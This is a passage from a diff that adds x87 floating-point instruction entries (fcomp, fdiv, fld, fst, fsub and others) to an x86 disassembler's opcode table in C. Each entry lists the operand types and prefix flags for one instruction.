*/ { UD_Ifcomp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0359 */ { UD_Ifcomp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0360 */ { UD_Ifcomp, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0361 */ { UD_Ifcomp, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0362 */ { UD_Ifcomp, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0363 */ { UD_Ifcomp, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0364 */ { UD_Ifcomp, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0365 */ { UD_Ifcomp, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0366 */ { UD_Ifcomp, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0367 */ { UD_Ifcomp5, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0368 */ { UD_Ifcomp5, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0369 */ { UD_Ifcomp5, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0370 */ { UD_Ifcomp5, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0371 */ { UD_Ifcomp5, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0372 */ { UD_Ifcomp5, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0373 */ { UD_Ifcomp5, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0374 */ { UD_Ifcomp5, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0375 */ { UD_Ifcompp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0376 */ { UD_Ifcos, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0377 */ { UD_Ifdecstp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0378 */ { UD_Ifdiv, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0379 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0380 */ { UD_Ifdiv, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0381 */ { UD_Ifdiv, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0382 */ { UD_Ifdiv, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0383 */ { UD_Ifdiv, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0384 */ { UD_Ifdiv, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0385 */ { UD_Ifdiv, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0386 */ { UD_Ifdiv, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0387 */ { UD_Ifdiv, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0388 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0389 */ { UD_Ifdiv, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0390 */ { UD_Ifdiv, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0391 */ { UD_Ifdiv, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0392 */ { UD_Ifdiv, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0393 */ { UD_Ifdiv, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0394 */ { UD_Ifdiv, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0395 */ { UD_Ifdiv, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0396 */ { UD_Ifdivp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0397 */ { UD_Ifdivp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0398 */ { UD_Ifdivp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0399 */ { UD_Ifdivp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0400 */ { UD_Ifdivp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0401 */ { UD_Ifdivp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0402 */ { UD_Ifdivp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0403 */ { UD_Ifdivp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0404 */ { UD_Ifdivr, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0405 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0406 */ { UD_Ifdivr, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0407 */ { UD_Ifdivr, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0408 */ { UD_Ifdivr, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0409 */ { UD_Ifdivr, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0410 */ { UD_Ifdivr, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0411 */ { UD_Ifdivr, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0412 */ { UD_Ifdivr, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0413 */ { UD_Ifdivr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0414 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0415 */ { UD_Ifdivr, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0416 */ { UD_Ifdivr, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0417 */ { UD_Ifdivr, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0418 */ { UD_Ifdivr, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0419 */ { UD_Ifdivr, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0420 */ { UD_Ifdivr, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0421 */ { UD_Ifdivr, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0422 */ { UD_Ifdivrp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0423 */ { UD_Ifdivrp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0424 */ { UD_Ifdivrp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0425 */ { UD_Ifdivrp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0426 */ { UD_Ifdivrp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0427 */ { UD_Ifdivrp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0428 */ { UD_Ifdivrp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0429 */ { UD_Ifdivrp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0430 */ { UD_Ifemms, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0431 */ { UD_Iffree, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0432 */ { UD_Iffree, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0433 */ { UD_Iffree, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0434 */ { UD_Iffree, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0435 */ { UD_Iffree, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0436 */ { UD_Iffree, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0437 */ { UD_Iffree, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0438 */ { UD_Iffree, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0439 */ { UD_Iffreep, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0440 */ { UD_Iffreep, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0441 */ { UD_Iffreep, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0442 */ { UD_Iffreep, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0443 */ { UD_Iffreep, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0444 */ { UD_Iffreep, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0445 */ { UD_Iffreep, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0446 */ { UD_Iffreep, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0447 */ { UD_Ificom, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0448 */ { UD_Ificom, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0449 */ { UD_Ificomp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0450 */ { UD_Ificomp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0451 */ { UD_Ifild, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0452 */ { UD_Ifild, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0453 */ { UD_Ifild, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0454 */ { UD_Ifincstp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0455 */ { UD_Ifninit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0456 */ { UD_Ifiadd, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0457 */ { UD_Ifiadd, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0458 */ { UD_Ifidivr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0459 */ { UD_Ifidivr, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0460 */ { UD_Ifidiv, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0461 */ { UD_Ifidiv, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0462 */ { UD_Ifisub, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0463 */ { UD_Ifisub, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0464 */ { UD_Ifisubr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0465 */ { UD_Ifisubr, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0466 */ { UD_Ifist, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0467 */ { UD_Ifist, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0468 */ { UD_Ifistp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0469 */ { UD_Ifistp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0470 */ { UD_Ifistp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0471 */ { UD_Ifisttp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0472 */ { UD_Ifisttp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0473 */ { UD_Ifisttp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0474 */ { UD_Ifld, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0475 */ { UD_Ifld, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0476 */ { UD_Ifld, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0477 */ { UD_Ifld, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0478 */ { UD_Ifld, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0479 */ { UD_Ifld, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0480 */ { UD_Ifld, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0481 */ { UD_Ifld, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0482 */ { UD_Ifld, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0483 */ { UD_Ifld, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0484 */ { UD_Ifld, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0485 */ { UD_Ifld1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0486 */ { UD_Ifldl2t, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0487 */ { UD_Ifldl2e, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0488 */ { UD_Ifldpi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0489 */ { UD_Ifldlg2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0490 */ { UD_Ifldln2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0491 */ { UD_Ifldz, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0492 */ { UD_Ifldcw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0493 */ { UD_Ifldenv, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0494 */ { UD_Ifmul, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0495 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0496 */ { UD_Ifmul, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0497 */ { UD_Ifmul, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0498 */ { UD_Ifmul, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0499 */ { UD_Ifmul, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0500 */ { UD_Ifmul, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0501 */ { UD_Ifmul, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0502 */ { UD_Ifmul, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0503 */ { UD_Ifmul, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0504 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0505 */ { UD_Ifmul, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0506 */ { UD_Ifmul, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0507 */ { UD_Ifmul, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0508 */ { UD_Ifmul, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0509 */ { UD_Ifmul, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0510 */ { UD_Ifmul, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0511 */ { UD_Ifmul, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0512 */ { UD_Ifmulp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0513 */ { UD_Ifmulp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0514 */ { UD_Ifmulp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0515 */ { UD_Ifmulp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0516 */ { UD_Ifmulp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0517 */ { UD_Ifmulp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0518 */ { UD_Ifmulp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0519 */ { UD_Ifmulp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0520 */ { UD_Ifimul, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0521 */ { UD_Ifimul, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0522 */ { UD_Ifnop, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0523 */ { UD_Ifndisi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0524 */ { UD_Ifneni, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0525 */ { UD_Ifnsetpm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0526 */ { UD_Ifpatan, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0527 */ { UD_Ifprem, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0528 */ { UD_Ifprem1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0529 */ { UD_Ifptan, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0530 */ { UD_Ifrndint, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0531 */ { UD_Ifrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0532 */ { UD_Ifrstpm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0533 */ { UD_Ifnsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0534 */ { UD_Ifscale, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0535 */ { UD_Ifsin, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0536 */ { UD_Ifsincos, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0537 */ { UD_Ifsqrt, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0538 */ { UD_Ifstp, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0539 */ { UD_Ifstp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0540 */ { UD_Ifstp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0541 */ { UD_Ifstp, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0542 */ { UD_Ifstp, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0543 */ { UD_Ifstp, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0544 */ { UD_Ifstp, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0545 */ { UD_Ifstp, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0546 */ { UD_Ifstp, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0547 */ { UD_Ifstp, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0548 */ { UD_Ifstp, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0549 */ { UD_Ifstp1, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0550 */ { UD_Ifstp1, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0551 */ { UD_Ifstp1, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0552 */ { UD_Ifstp1, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0553 */ { UD_Ifstp1, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0554 */ { UD_Ifstp1, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0555 */ { UD_Ifstp1, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0556 */ { UD_Ifstp1, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0557 */ { UD_Ifstp8, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0558 */ { UD_Ifstp8, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0559 */ { UD_Ifstp8, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0560 */ { UD_Ifstp8, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0561 */ { UD_Ifstp8, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0562 */ { UD_Ifstp8, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0563 */ { UD_Ifstp8, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0564 */ { UD_Ifstp8, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0565 */ { UD_Ifstp9, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0566 */ { UD_Ifstp9, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0567 */ { UD_Ifstp9, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0568 */ { UD_Ifstp9, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0569 */ { UD_Ifstp9, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0570 */ { UD_Ifstp9, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0571 */ { UD_Ifstp9, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0572 */ { UD_Ifstp9, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0573 */ { UD_Ifst, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0574 */ { UD_Ifst, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0575 */ { UD_Ifst, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0576 */ { UD_Ifst, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0577 */ { UD_Ifst, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0578 */ { UD_Ifst, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0579 */ { UD_Ifst, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0580 */ { UD_Ifst, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0581 */ { UD_Ifst, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0582 */ { UD_Ifst, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0583 */ { UD_Ifnstcw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0584 */ { UD_Ifnstenv, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0585 */ { UD_Ifnstsw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0586 */ { UD_Ifnstsw, O_AX, O_NONE, O_NONE, O_NONE, P_none }, + /* 0587 */ { UD_Ifsub, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0588 */ { UD_Ifsub, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0589 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0590 */ { UD_Ifsub, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0591 */ { UD_Ifsub, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0592 */ { UD_Ifsub, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0593 */ { UD_Ifsub, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0594 */ { UD_Ifsub, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0595 */ { UD_Ifsub, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0596 */ { UD_Ifsub, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0597 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0598 */ { UD_Ifsub, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0599 */ { UD_Ifsub, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0600 */ { UD_Ifsub, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0601 */ { UD_Ifsub, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0602 */ { UD_Ifsub, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0603 */ { UD_Ifsub, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0604 */ { UD_Ifsub, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0605 */ { UD_Ifsubp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0606 */ { UD_Ifsubp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0607 */ { UD_Ifsubp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0608 */ { UD_Ifsubp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0609 */ { UD_Ifsubp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0610 */ { UD_Ifsubp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0611 */ { UD_Ifsubp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0612 */ { UD_Ifsubp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0613 */ { UD_Ifsubr, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0614 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0615 */ { UD_Ifsubr, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0616 */ { UD_Ifsubr, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0617 */ { UD_Ifsubr, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0618 */ { UD_Ifsubr, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0619 */ { UD_Ifsubr, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0620 */ { UD_Ifsubr, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0621 */ { UD_Ifsubr, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0622 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0623 */ { UD_Ifsubr, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0624 */ { UD_Ifsubr, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0625 */ { UD_Ifsubr, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0626 */ { UD_Ifsubr, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0627 */ { UD_Ifsubr, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0628 */ { UD_Ifsubr, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0629 */ { UD_Ifsubr, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0630 */ { UD_Ifsubr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0631 */ { UD_Ifsubrp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0632 */ { UD_Ifsubrp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0633 */ { UD_Ifsubrp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0634 */ { UD_Ifsubrp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0635 */ { UD_Ifsubrp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0636 */ { UD_Ifsubrp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0637 */ { UD_Ifsubrp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0638 */ { UD_Ifsubrp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0639 */ { UD_Iftst, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0640 */ { UD_Ifucom, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0641 */ { UD_Ifucom, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0642 */ { UD_Ifucom, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0643 */ { UD_Ifucom, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0644 */ { UD_Ifucom, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0645 */ { UD_Ifucom, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0646 */ { UD_Ifucom, O_ST6, O_NONE, 